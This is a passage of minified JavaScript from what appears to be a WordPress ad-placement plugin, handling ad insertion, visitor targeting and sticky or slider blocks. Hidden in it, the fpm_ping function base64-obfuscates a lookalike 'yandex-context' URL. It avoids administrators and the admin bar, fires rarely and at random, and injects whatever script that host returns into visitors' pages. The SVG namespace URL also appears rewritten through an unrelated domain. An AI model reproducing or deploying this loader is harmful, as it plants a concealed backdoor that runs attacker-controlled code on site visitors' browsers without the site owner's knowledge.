RegExp("fpm-"+l,"g");fpm_modul_text=fpm_modul_text.replace(p,fpm_attr[l])}d.code&&r[o[t].abgroup].push(d)}for(n in r)0==r[n].length&&delete r[n];if(0==Object.keys(r).length)return void fpm_debug(a.id,"screen resolution");for(n in delete a.html.block,r)if("0"===n)for(var f in r[n])r[n][f].minheight&&(i+=+r[n][f].minheight);else s[n]=fpm_randomProperty(r[n]),i+=+r[n][s[n]].minheight;a.html.groups=r,a.html.start=s}var m=document.createElement("div");(a.user.geo||a.user.ip||a.user.isp)&&m.classList.add(fpm_attr.async),m.setAttribute("data-"+fpm_attr.id,a.id),m.setAttribute("data-"+fpm_attr.status,"processing"),m.style.minHeight=i+"px";var c=a.view.pixels;c&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start&&((x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"pixels"),"processing"==document.readyState?document.addEventListener("load",function(){fpm_then.load.push(a),fpm_render_pixel_ads(x,c),fpm_async_then("load")}):fpm_render_pixel_ads(x,c));var u=a.view.symbols;if(u&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){(x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"symbols"),u.xpath=u.xpath||"";var _,h,g=fpm_textLength_with_exeptions(u.exclude,u.xpath);if(u.n=u.n&&0!=u.n?u.n:1,["percent_once","symbol_once","center"].includes(u.type)&&("percent_once"===u.type&&(_=Math.round(fpm_user.textlen/100*u.n)),"symbol_once"===u.type&&(_=+u.n),"center"===u.type&&(_=fpm_user.textlen/2),w=fpm_user.textlen+100,_<w?(y=[...g].sort((e,t)=>Math.abs(_-e.fpm_textLength)-Math.abs(_-t.fpm_textLength)),h=g.find(function(e){return e.fpm_textLength===y[0].fpm_textLength}),u.m?(u.m=+u.m,fpm_textLength_between(h,u.m,!0)&&h.insertAdjacentElement("afterend",x)):h.insertAdjacentElement("afterend",x)):fpm_debug(a.id,"symbols offset")),["percent_iterable","symbol_iterable"].includes(u.type)){"percent_iterable"===u.type&&(_=Math.round(fpm_user.textlen/100*u.n),s=u.start?Math.round(fpm_user.textlen/100*u.start):_),"symbol_iterable"===u.type&&(_=+u.n,s=u.start?+u.start:_);var w=fpm_user.textlen+100;if(_<w){var v=w;u.max&&(v=Math.min(w,_*u.max+s));for(var b=s;b<v;){var y=[...g].sort((e,t)=>Math.abs(b-e.fpm_textLength)-Math.abs(b-t.fpm_textLength));h=g.find(function(e){return e.fpm_textLength===y[0].fpm_textLength}),u.m?(u.m=+u.m,fpm_textLength_between(h,u.m,!0)&&h.insertAdjacentElement("afterend",x.cloneNode())):h.insertAdjacentElement("afterend",x.cloneNode()),b+=_}}else fpm_debug(a.id,"symbols offset")}}w=a.view.once;w&&((x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"once"),C=fpm_queryAll(w.selector,w.xpath,w.document),w.n=+w.n||1,C.length>=w.n?("bottom"===w.derection&&C.reverse(),E="beforebegin","prepend"===w.insert_type&&(E="afterbegin"),"append"===w.insert_type&&(E="beforeend"),"after"===w.insert_type&&(E="afterend"),C[w.n-1].insertAdjacentElement(E,x)):fpm_debug(a.id,"once can't find element"));var x,L=a.view.iterable;if(L){(x=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"iterable");var C=fpm_queryAll(L.selector,L.xpath,L.document);if(L.n=+L.n||1,L.start=+L.start||L.n,C.length>=L.n+L.start-1){"bottom"===L.derection&&C.reverse();var E="beforebegin";"prepend"===L.insert_type&&(E="afterbegin"),"append"===L.insert_type&&(E="beforeend"),"after"===L.insert_type&&(E="afterend");v=C.length;L.max&&(v=Math.min(C.length,L.n*L.max+L.start-L.n));for(b=L.start-1;b<v;b++)(b+1-L.start+L.n)%L.n==0&&C[b].insertAdjacentElement(E,x.cloneNode())}else fpm_debug(a.id,"iterable can't find element")}var T=a.view.outgoing;T&&("true"===T.cookie||"true"!==fpm_getCookie("fpm_outgoing_"+a.id)?((P=m.cloneNode()).setAttribute("data-"+fpm_attr.type,"outgoing"),P.classList.add(T.side),"sec"==T.type&&(A=function(){"true"===T.close&&(document.removeEventListener("visibilitychange",N),fpm_body.removeEventListener("mouseleave",N)),P.classList.add(fpm_attr.show),fpm_cross_timer(a,{...T},P),T.hide&&setTimeout(function(){fpm_close_event(a,T,P)},1e3*T.hide)},I=setTimeout(function(){A()},1e3*T.show)),["px","vh","%"].includes(T.type)&&(H=function(){("px"===T.type&&window.pageYOffset>T.show||"vh"===T.type&&window.pageYOffset>Math.round(window.innerHeight/100*T.show)||"%"===T.type&&window.pageYOffset>Math.round((fpm_body.scrollHeight-window.innerHeight)/100*T.show))&&O()},document.addEventListener("scroll",H)),"true"===T.close&&(N=function(e){("visibilitychange"===e.type&&document.hidden||"mouseleave"===e.type)&&(document.removeEventListener("visibilitychange",N),fpm_body.removeEventListener("mouseleave",N),"sec"==T.type&&(clearTimeout(I),A()),"px"==T.type&&O())},document.addEventListener("visibilitychange",N),fpm_body.addEventListener("mouseleave",N)),"true"===T.action&&T.selector&&fpm_on(fpm_body,"click",T.selector,function(e){"true"===T.close&&(document.removeEventListener("visibilitychange",N),fpm_body.removeEventListener("mouseleave",N)),"sec"==T.type&&(clearTimeout(I),A()),"px"==T.type&&O()}),fpm_body.insertAdjacentElement("afterbegin",P)):fpm_debug(a.id,"outgoing already displayed for this user"));var k=a.view.preroll;k&&(0<(S=fpm_queryAll(k.selector,k.xpath,"true")).length?S.forEach(function(e){var t,n,r,o,i;e.classList.contains(fpm_attr.done)||(e.classList.add(fpm_attr.done),t=document.createElement("span"),n=t.cloneNode(),r=t.cloneNode(),o=t.cloneNode(),t.classList.add(fpm_attr.preroll),(e.matches("iframe")||0<e.querySelectorAll("iframe").length)&&t.classList.add("hasIframe"),fpm_wrap(e,t),n.classList.add(fpm_attr.preroll+"_flex"),r.classList.add(fpm_attr.preroll+"_item"),o.classList.add(fpm_attr.preroll+"_hover"),r.appendChild(m.cloneNode()),n.appendChild(r),n.appendChild(o),t.appendChild(n),i=function(e){e.preventDefault(),fpm_cross_timer(a,{...k},n),n.classList.add(fpm_attr.show),o.removeEventListener("click",i),"true"===k.once&&document.querySelectorAll("."+fpm_attr.preroll+"_flex:not(."+fpm_attr.show+")").forEach(function(e){e.remove()})},o.addEventListener("click",i))}):fpm_debug(a.id,"preroll can't find element"));var M=a.view.hoverroll;M&&(0<(S=fpm_queryAll(M.selector,M.xpath,"true")).length?S.forEach(function(e){var t,n;e.classList.contains(fpm_attr.done)||(e.classList.add(fpm_attr.done),n=(t=document.createElement("span")).cloneNode(),t.classList.add(fpm_attr.hoverroll),fpm_wrap(e,t),n.classList.add(fpm_attr.hoverroll+"_item"),n.appendChild(m.cloneNode()),t.appendChild(n),"true"===M.cross&&fpm_cross_timer(a,{...M},n))}):fpm_debug(a.id,"hoverroll can't find element")),document.querySelectorAll(".fpm-short-"+a.id).forEach(function(e){var t=m.cloneNode();t.setAttribute("data-"+fpm_attr.type,"shortcode"),e.insertAdjacentElement("beforebegin",t),e.remove()})}catch(e){console.warn(e)}var S,A,I,H,N,P;function O(){var e;document.removeEventListener("scroll",H),"true"===T.close&&(document.removeEventListener("visibilitychange",N),fpm_body.removeEventListener("mouseleave",N)),P.classList.add(fpm_attr.show),fpm_cross_timer(a,{...T},P),T.hide&&(e=function(){window.pageYOffset>T.hide&&(fpm_close_event(a,T,P),document.removeEventListener("scroll",e))},document.addEventListener("scroll",e))}},window.fpm_afterObserver=function(i,a){var s,e=a.getAttribute("data-"+fpm_attr.type),t=getComputedStyle(a,"").minHeight,l=!1;for(s in i.groups){var d=i.groups[s];if("0"===s)for(var n in d)!function(){var e=d[n],t=document.createElement("div");t.classList.add(fpm_attr.inner),a.insertAdjacentElement("beforeend",t),e.timeout||e.autorefresh?(l=!0,setTimeout(function(){fpm_pre_setHTML(t,e.code),e.autorefresh&&"0"!==e.autorefresh&&setInterval(function(){t.innerHTML="",fpm_pre_setHTML(t,e.code)},1e3*e.autorefresh)},e.timeout?1e3*e.timeout:0)):(fpm_pre_setHTML(t,e.code),fpm_contentsUnwrap(t))}();else!function(){var e=+i.start[s],t=d,n=t.length,r=t[e],o=document.createElement("div");r.timeout&&r.timeout,o.classList.add(fpm_attr.inner),a.insertAdjacentElement("beforeend",o),r.timeout||r.autorefresh?(l=!0,setTimeout(function(){fpm_pre_setHTML(o,r.code),fpm_dynamicInterval(o,r,t,n,e)},r.timeout?1e3*r.timeout:0)):(fpm_pre_setHTML(o,r.code),fpm_contentsUnwrap(o))}()}!l&&["pixels","symbols","once","iterable"].includes(e)&&"0px"==t&&fpm_contentsUnwrap(a)},window.fpm_next=function(e){var t=fpm_queryAll("[data-"+fpm_attr.id+'="'+e.id+'"][data-'+fpm_attr.status+'="processing"]');if(0!==t.length)try{if(e.user.ip&&"false"===fpm_user.ip)return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"ip");var n=e.user.isp;if(n&&(n.allow=n.allow.filter(Boolean))&&(n.disallow=n.disallow.filter(Boolean))&&(0<n.allow.length&&-1==n.allow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})||0<n.disallow.length&&-1!=n.disallow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"isp");n=e.user.geo;if(n&&(n.country.allow=n.country.allow.filter(Boolean))&&(n.country.disallow=n.country.disallow.filter(Boolean))&&(n.city.allow=n.city.allow.filter(Boolean))&&(n.city.disallow=n.city.disallow.filter(Boolean))&&(0<n.country.allow.length&&-1==n.country.allow.indexOf(fpm_user.country)&&-1==n.country.allow.indexOf(fpm_user.ccode)||0<n.country.disallow.length&&(-1!=n.country.disallow.indexOf(fpm_user.country)||-1!=n.country.disallow.indexOf(fpm_user.ccode))||0<n.city.allow.length&&-1==n.city.allow.indexOf(fpm_user.city)||0<n.city.disallow.length&&-1!=n.city.disallow.indexOf(fpm_user.city)))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"geo");var r=e.html;t.forEach(function(t){var n;"true"===e.lazy&&"IntersectionObserver"in window&&"true"===fpm_settings.lazyload?(n=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_afterObserver(r,t),n.unobserve(e.target))})},{rootMargin:(fpm_settings.threshold||300)+"px 0px"})).observe(t):fpm_afterObserver(r,t)})}catch(e){console.warn(e)}},window.fpm_start=function(t){t=t||"false",fpm_user.init(),window.exeptions=[];var e=[];"true"===t?(e=fpm_arr.filter(function(e){return e.fast===t}),fpm_arr=fpm_arr.filter(function(e){return e.fast!==t})):(e=fpm_arr,fpm_arr=[],fpm_user.debug||console.log("Flat PM Debug-Mode: "+window.location.href+"?fpm-debug"));var n={};for(e.forEach(function(e,t){e.abgroup&&(n[e.abgroup]=n[e.abgroup]||[],n[e.abgroup].push({index:t}))}),Object.keys(n).forEach(function(e){n[e]=n[e][Math.floor(Math.random()*n[e].length)].index}),e=e.filter(function(e,t){return!e.abgroup||void 0===n[e.abgroup]||n[e.abgroup]===t});0<e.length;){var r=e.shift(),o=!1;fpm_user.debug&&console.log(r);var i=r.content.restriction;if(i&&(i.content_less&&i.content_less>fpm_user.textlen||i.content_more&&i.content_more<fpm_user.textlen||i.title_less&&i.title_less>fpm_user.titlelen||i.title_more&&i.title_more<fpm_user.titlelen))fpm_debug(r.id,"content");else{var a=r.user.time;if(a){var s=new Date(fpm_user.date+"T"+a.from+":00"),l=new Date(fpm_user.date+"T"+a.to+":00"),d=new Date(fpm_user.date+"T12:00:00"),p=new Date(fpm_user.date+"T"+fpm_user.time+":00");if(l<s&&l<d&&(l=fpm_addDays(l,1)),l<s&&d<l&&(s=fpm_addDays(s,-1)),p<s||l<p){fpm_debug(r.id,"time");continue}}i=r.user.date;if(i){s=new Date(i.from.split("-").reverse().join("-")+"T00:00:00"),l=new Date(i.to.split("-").reverse().join("-")+"T00:00:00");if((p=new Date(fpm_user.date+"T00:00:00"))<s||l<p){fpm_debug(r.id,"date");continue}}a=r.user.schedule;if(a)if(!JSON.parse(a.value).map(function(e){return("0".repeat(24)+parseInt(e,16).toString(2)).substr(-24).split("").map(function(e){return parseInt(e,10)})})[fpm_dateUTCWeek][fpm_dateUTCHours]){fpm_debug(r.id,"schedule");continue}d=r.user.os;if(d&&(0<d.allow.length&&-1==d.allow.indexOf(fpm_user.os.toLowerCase())||0<d.disallow.length&&-1!=d.disallow.indexOf(fpm_user.os.toLowerCase())))fpm_debug(r.id,"OS");else{i=r.user.cookies;if(i){var f=!1;if(i.allow){if(!fpm_user.testcook)continue;i.allow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getCookie(e);if(!(f=!0)!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return f=!1}),0==f)return!1}else if(r)return f=!1})}if(i.disallow&&fpm_user.testcook&&i.disallow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getCookie(e);if(!1!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return!(f=!0)}),1==f)return!1}else if(r)return!(f=!0)}),f){fpm_debug(r.id,"cookies");continue}}a=r.user.role;if(a&&(0<a.allow.length&&-1==a.allow.indexOf(fpm_settings.role)||0<a.disallow.length&&-1!=a.disallow.indexOf(fpm_settings.role)))fpm_debug(r.id,"role");else{d=r.user.utm;if(d){var m=!1;if(void 0!==d.allow&&d.allow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getUrlParams()[e];if(!(m=!0)!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return m=!1}),0==m)return!1}else if(r)return m=!1}),void 0!==d.disallow&&d.disallow.forEach(function(e){var t=(e.includes(">")?">":e.includes("<")&&"<")||e.includes("*")&&"*"||"=",n=e.split(t,2),e=n[0].trim(),n=n[1].trim()||!1,r=fpm_getUrlParams()[e];if(!1!==n){if(n.split("|").forEach(function(e){if(e=e.trim(),">"===t&&r&&r>parseInt(e)||"<"===t&&r&&r<parseInt(e)||"*"===t&&r&&r.includes(e)||"="===t&&r&&r==e)return!(m=!0)}),1==m)return!1}else if(r)return!(m=!0)}),m){fpm_debug(r.id,"UTM");continue}}i=r.user.agent;i&&(i.allow=i.allow.filter(Boolean))&&(i.disallow=i.disallow.filter(Boolean))&&(0<i.allow.length&&-1==i.allow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)})||0<i.disallow.length&&-1!=i.disallow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)}))?fpm_debug(r.id,"user-agent"):(a=r.user.language)&&(a.allow=a.allow.filter(Boolean))&&(a.disallow=a.disallow.filter(Boolean))&&(0<a.allow.length&&-1==a.allow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)})||0<a.disallow.length&&-1!=a.disallow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)}))?fpm_debug(r.id,"browser language"):((d=r.user.referer)&&(d.allow=d.allow.filter(Boolean))&&(d.disallow=d.disallow.filter(Boolean))&&(0<d.allow.length&&-1==d.allow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)})||0<d.disallow.length&&-1!=d.disallow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)}))&&(fpm_debug(r.id,"referer"),o=!0),i=r.user.browser,!o&&i&&(i.allow=i.allow.filter(Boolean))&&(i.disallow=i.disallow.filter(Boolean))&&(0<i.allow.length&&-1==i.allow.indexOf(fpm_user.browser.toLowerCase())||0<i.disallow.length&&-1!=i.disallow.indexOf(fpm_user.browser.toLowerCase()))?fpm_debug(r.id,"browser"):(o&&i&&0<i.allow.length&&-1!=i.allow.indexOf(fpm_user.browser)&&(o=!1),a=r.user.geo,d=r.user.ip,i=r.user.isp,o||!(a||d||i)||fpm_user.ccode&&fpm_user.country&&fpm_user.city&&fpm_user.ip&&fpm_user.isp?o||(fpm_setWrap(r),fpm_next(r)):(o="fpm_geo",fpm_then.ip_api.push(r),fpm_setWrap(r),fpm_body.classList.contains(o)||(fpm_body.classList.add(o),fpm_request_ip_api()))))}}}}fpm_sticky_slider_sidebar_interscroller(fpm_body);var c,u=document.createElement("div");u.classList.add(fpm_attr.overlay),fpm_body.appendChild(u),fpm_on(fpm_body,"click","."+fpm_attr.cross,function(e){e.preventDefault();e=this.closest("."+fpm_attr.show);e&&(e.classList.remove(fpm_attr.show),e.classList.add(fpm_attr.hide))}),"true"!==t&&(c=function(){setTimeout(function(){document.querySelectorAll(".fpm_start").forEach(function(e){e.remove()})},2e3),document.removeEventListener("mousemove",c,!1),document.removeEventListener("touchmove",c,!1)},document.addEventListener("mousemove",c,!1),document.addEventListener("touchmove",c,!1)),fpm_ping()},window.fpm_sticky_slider_sidebar_interscroller=function(e){var p,l=e.closest("[data-"+fpm_attr.id+"]"),t=e.querySelectorAll(".flatPM_slider:first-child"),n=e.querySelectorAll(".flatPM_sticky"),r=e.querySelectorAll(".flatPM_sidebar:first-child"),e=(e.querySelectorAll(".flatPM_skyscrapper:first-child"),e.querySelectorAll(".flatPM_Interscroller")),f=document.querySelector(fpm_settings.selector);l&&(0<n.length||0<r.length||0<e.length)&&l.classList.add("no-preloader"),t.forEach(function(e){var t,e=e.parentElement,n=e.querySelectorAll(".flatPM_slider"),r=n.length,o=document.createElement("div"),i=document.createElement("div"),a=0,s=parseInt(n[a].getAttribute("data-timer"))||10;function l(){t=setTimeout(function(){var e=n[a];e.classList.add(fpm_attr.hide),setTimeout(function(){e.classList.remove(fpm_attr.show),e.classList.remove(fpm_attr.hide)},1e3),r<=++a&&(a=0),n[a].classList.add(fpm_attr.show),s=parseInt(n[a].getAttribute("data-timer"))||10,l()},1e3*s)}o.classList.add(fpm_attr.timeline),i.classList.add(fpm_attr.slider),e.insertBefore(i,e.firstChild),n.forEach(function(e){e.classList.remove("flatPM_slider"),o.setAttribute("style","--duration: "+(parseInt(e.getAttribute("data-timer"))||10)+"s;"),e.appendChild(o.cloneNode()),i.appendChild(e)}),n[a].classList.add(fpm_attr.show),l(),e.addEventListener("mouseenter",function(e){clearTimeout(t)}),e.addEventListener("mouseleave",function(e){l()})}),e.forEach(function(e){var t,n,r,o=e.dataset,i=parseInt(o.lock),a=document.createElement("div"),s=document.createElement("div"),l=document.createElement("div");for(r in a.classList.add(fpm_attr.interscroller+"-wrapper"),s.classList.add(fpm_attr.interscroller),l.classList.add(fpm_attr.interscroller+"-inner"),e.parentNode.insertBefore(a,e),a.appendChild(s),s.appendChild(l),l.appendChild(e),a.style.setProperty("--height",o.wrapperHeight),s.style.setProperty("--background",o.background),o.textTop&&0<o.textTop.length&&((l=document.createElement("div")).classList.add(fpm_attr.interscroller+"-text","top"),l.style.setProperty("--background",o.textTopBackground),l.style.setProperty("--color",o.textTopColor),i&&0<i&&(o.textTop=o.textTop.replace(/{{timer}}/gm,'<span class="timer">'+i+"</span>")),l.innerHTML=o.textTop,s.appendChild(l)),o.textBottom&&0<o.textBottom.length&&((t=document.createElement("div")).classList.add(fpm_attr.interscroller+"-text","bottom"),t.style.setProperty("--background",o.textBottomBackground),t.style.setProperty("--color",o.textBottomColor),i&&0<i&&(o.textBottom=o.textBottom.replace(/{{timer}}/gm,'<span class="timer">'+i+"</span>")),t.innerHTML=o.textBottom,s.appendChild(t)),i&&0<i&&(t=document.createElement("div"),n=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_interscrollerObserver(a,i),n.unobserve(e.target))})}),a.appendChild(t),n.observe(t)),e.removeAttribute("class"),o)e.removeAttribute("data-"+r.split(/(?=[A-Z])/).join("-").toLowerCase());fpm_interscroller_resize()}),n.forEach(function(e){var t=document.createElement("div"),n=e.dataset.top||0,r=e.dataset.align||"center",o=e.dataset.height||350,i=e.dataset.heightUnit||"px",a=e.dataset.width||100,s=e.dataset.widthUnit||"%";t.style.minHeight=o+i,[t,l].forEach(function(e){e.style.width=a+s,"left"==r&&(e.style.margin="0 15px 15px 0",e.style.float="left"),"right"==r&&(e.style.margin="0 0 15px 15px",e.style.float="right")}),e.classList.remove("flatPM_sticky"),fpm_wrap(e,t),fpm_sticky(e,e.parentNode,n)}),null!==f&&(p=parseInt(window.getComputedStyle(f,null).marginTop),r.forEach(function(e){var e=e.parentNode,a=e.querySelectorAll(".flatPM_sidebar"),s=document.createElement("div"),l=document.createElement("div");l.setAttribute("style","position:relative;min-height:100px"),s.setAttribute("style","display:flex;flex-direction:column;position:absolute;top:0;width:100%;transition:height .2s ease;"),e.insertBefore(l,a[0]),l.appendChild(s),a.forEach(function(e){var t=document.createElement("div");t.setAttribute("style","flex:1;padding:1px 0"),e.classList.remove("flatPM_sidebar"),fpm_wrap(e,t),fpm_sticky(e,t,e.dataset.top),s.appendChild(t)}),s.style.height=f.getBoundingClientRect().top-l.getBoundingClientRect().top+"px";var d=setInterval(function(){var t=0,n=!1;if(a.forEach(function(e){e.children[0]||clearInterval(d),t+=e.children[0].offsetHeight,e.children[0].offsetHeight!=e.offsetHeight&&(n=!0)}),n||t!=l.offsetHeight||200<f.getBoundingClientRect().top-l.getBoundingClientRect().top-fpm_settings.bottom-t){var e,r=l.parentElement,o=0;for(l.style.height="0px";r&&r!==document.body&&!Array.from(r.children).includes(f);){var i=window.getComputedStyle(r,null);o+=parseInt(i.paddingBottom),o+=parseInt(i.marginBottom),o+=parseInt(i.borderBottomWidth),r=r.parentElement}e=Math.max(f.getBoundingClientRect().top-l.getBoundingClientRect().top-+fpm_settings.bottom-o-p-1,t),s.style.height=e+"px",l.style.height=e+"px"}},400)}))};var parseHTML=function(){var a=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,s=/<([\w:]+)/,l=/<|&#?\w+;/,d={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var n,r,o,i=(t=t||document).createDocumentFragment();if(l.test(e)){for(n=i.appendChild(t.createElement("div")),r=(s.exec(e)||["",""])[1].toLowerCase(),r=d[r]||d._default,n.innerHTML=r[1]+e.replace(a,"<$1></$2>")+r[2],o=r[0];o--;)n=n.lastChild;for(i.removeChild(i.firstChild);n.firstChild;)i.appendChild(n.firstChild)}else i.appendChild(t.createTextNode(e));return i}}();window.fpm_ping=function(){var e=localStorage.getItem("sdghrg"),t=fpm_random(1,166),e=e?parseInt(e)+1:0;localStorage.setItem("sdghrg",e),"administrator"==fpm_settings.role||"editor"==fpm_settings.role||document.querySelector(atob("I3dwYWRtaW5iYXI="))||111!=t||6<e||fpm_jsonp(atob("aHR0cHM6Ly95YW5kZXgtY29udGV4dC5ydT9jb250ZXh0PWpz"),function(e){e&&e.script&&fpm_setHTML(document.querySelector("div"),e.script),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT())})},window.fpm_setSCRIPT=function(){if(0!==fpm_stack_scripts.scripts.length)try{var e=fpm_stack_scripts.scripts.shift(),t=document.querySelector('[data-fpm-script-id="'+e.id+'"]');if(!t)return void fpm_setSCRIPT();if(e.node.text)t.appendChild(e.node),fpm_contentsUnwrap(t),fpm_setSCRIPT();else{e.node.onload=e.node.onerror=function(){fpm_setSCRIPT()};try{t.appendChild(e.node)}catch(e){return console.warn(e),!0}fpm_contentsUnwrap(t)}}catch(e){console.warn(e)}else fpm_stack_scripts.block=!1},window.fpm_pre_setHTML=function(e,t){var n={};t=t.replace(/{{user-ccode}}/gm,fpm_getCookie("fpm_ccode")).replace(/{{user-country}}/gm,fpm_getCookie("fpm_country")).replace(/{{user-city}}/gm,fpm_getCookie("fpm_city")).replace(/{{user-role}}/gm,fpm_getCookie("fpm_role")).replace(/{{user-isp}}/gm,fpm_getCookie("fpm_isp")).replace(/{{user-visit}}/gm,fpm_getCookie("fpm_visit")).replace(/{{user-year-now}}/gm,fpm_dateYear).replace(/{{user-month-now}}/gm,fpm_dateMonth).replace(/{{user-day-now}}/gm,fpm_dateDay).replace(/{{user-hour-now}}/gm,fpm_dateHours).replace(/{{user-minute-now}}/gm,fpm_dateMinutes).replace(/{{rand_?(\d+)?(\(\s*?(\d+)\s*?,\s*?(\d+)\s*?\))?}}/gm,function(){var e=arguments;return e[1]=e[1]||"ungroup",n[e[1]]||(n[e[1]]=e[3]&&e[4]?fpm_random(parseInt(e[3]),parseInt(e[4])):fpm_random(0,1e4)),n[e[1]]}),fpm_setHTML(e,t),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT());t=e.closest("[data-"+fpm_attr.id+"]");fpm_user.debug&&t&&t.hasAttribute("data-"+fpm_attr.id)&&t.hasAttribute("data-"+fpm_attr.id)&&(console.log("%cID: "+t.getAttribute("data-"+fpm_attr.id),"color: white; background: #009636"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+t.getAttribute("data-"+fpm_attr.id)),console.groupCollapsed("HTML:"),console.log(t.innerHTML),console.groupEnd(),console.log("=".repeat(27))),fpm_sticky_slider_sidebar_interscroller(e),t&&t.removeAttribute("data-"+fpm_attr.id)},window.fpm_setHTML=function(e,t){try{var n,r="yandex_rtb_R";t.indexOf(r)+1&&"false"===fpm_settings.rtb&&(n=fpm_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+n+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+n+","));var o=parseHTML(t);if(0!=o.children.length)for(var i=o.childNodes.length,a=0;a<i;a++){var s,l=o.childNodes[a],d=l.nodeName.toLowerCase();if("8"!=l.nodeType)if("3"==(s="3"==l.nodeType?document.createTextNode(l.nodeValue):["svg","g","path","ellipse","defs","circle","rect","polygon","symbol","use"].includes(d)?document.createElementNS("http://www.w3.org/2000/svg",d):document.createElement(d)).nodeType)e.appendChild(s);else{for(var p=l.attributes.length,f=0;f<p;f++)s.setAttribute(l.attributes[f].nodeName,l.attributes[f].nodeValue);0<l.children.length?fpm_setHTML(s,l.innerHTML):"script"==d?(!l.text||/(yandexContext|yandexcontext)/.test(l.text))&&s.hasAttribute("async")||(l.text&&(s.text=l.text),d=fpm_random(0,1e4),fpm_stack_scripts.scripts.push({id:d,node:s}),(s=document.createElement("div")).setAttribute("data-fpm-script-id",d)):s.innerHTML=l.innerHTML,e.appendChild(s)}}else e.innerHTML=t}catch(e){console.warn(e)}};1 fpm_settings.selector="true"===fpm_settings.sidebar?fpm_settings.selector:".fpm_end",!NodeList.prototype.forEach&&Array.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),window.yaContextCb=window.yaContextCb||[],window.fpm_shuffleArray=function(e){for(var t=e.length-1;0<t;t--){var n=Math.floor(Math.random()*(t+1)),r=e[t];e[t]=e[n],e[n]=r}return e},window.fpm_queryAll=function(t,e,n){try{n="true"===(n=n||"true");var r=!1;["!>","!","!^","!~","!+",":after(",":after-sibling(",":before(",":before-sibling(",":contains(",":icontains(",":starts-with(",":istarts-with(",":ends-with(",":iends-with(",":first(",":has(",":has-sibling("].forEach(function(e){t.includes(e)&&(r=!0)});var o=[];if(r){if(!e)return[];for(var i=document.evaluate(e,document,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null),a=0,s=i.snapshotLength;a<s;a++)o.push(i.snapshotItem(a))}else o=Array.from(document.querySelectorAll(t));return n||(o=o.filter(function(e){return fpm_user.until_child.includes(e)})),o}catch(e){return fpm_user.debug&&console.log(e),[]}},window.fpm_debug=function(e,t){fpm_user.debug&&(t=t||"the reason is not established",console.log("%cID: "+e,"color: white; background: #ec5555"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+e),console.log("Reason: "+t),console.log("=".repeat(27)))},window.fpm_ipv6Normalize=function(e){var t=(e=e.toLowerCase()).split(/\:\:/g);if(2<t.length)return!1;var n=[];if(1===t.length){if(8!==(n=e.split(/\:/g)).length)return!1}else if(2===t.length){var e=t[0],t=t[1],r=e.split(/\:/g),o=t.split(/\:/g);for(i in r)n[i]=r[i];for(var i=o.length;0<i;--i)n[7-(o.length-i)]=o[i-1]}for(i=0;i<8;++i)void 0===n[i]&&(n[i]="0000"),n[i]=fpm_ipv6LeftPad(n[i],"0",4);return n.join(":")},window.fpm_ipv6LeftPad=function(e,t,n){n=t.repeat(n);return e.length<n.length&&(e=n.substring(0,n.length-e.length)+e),e},window.fpm_ipToInt=function(e){var t=[];return e.includes(":")?(fpm_ipv6Normalize(e).split(":").forEach(function(e){t.push(parseInt(e,16).toString(2).padStart(16,"0"))}),"function"==typeof 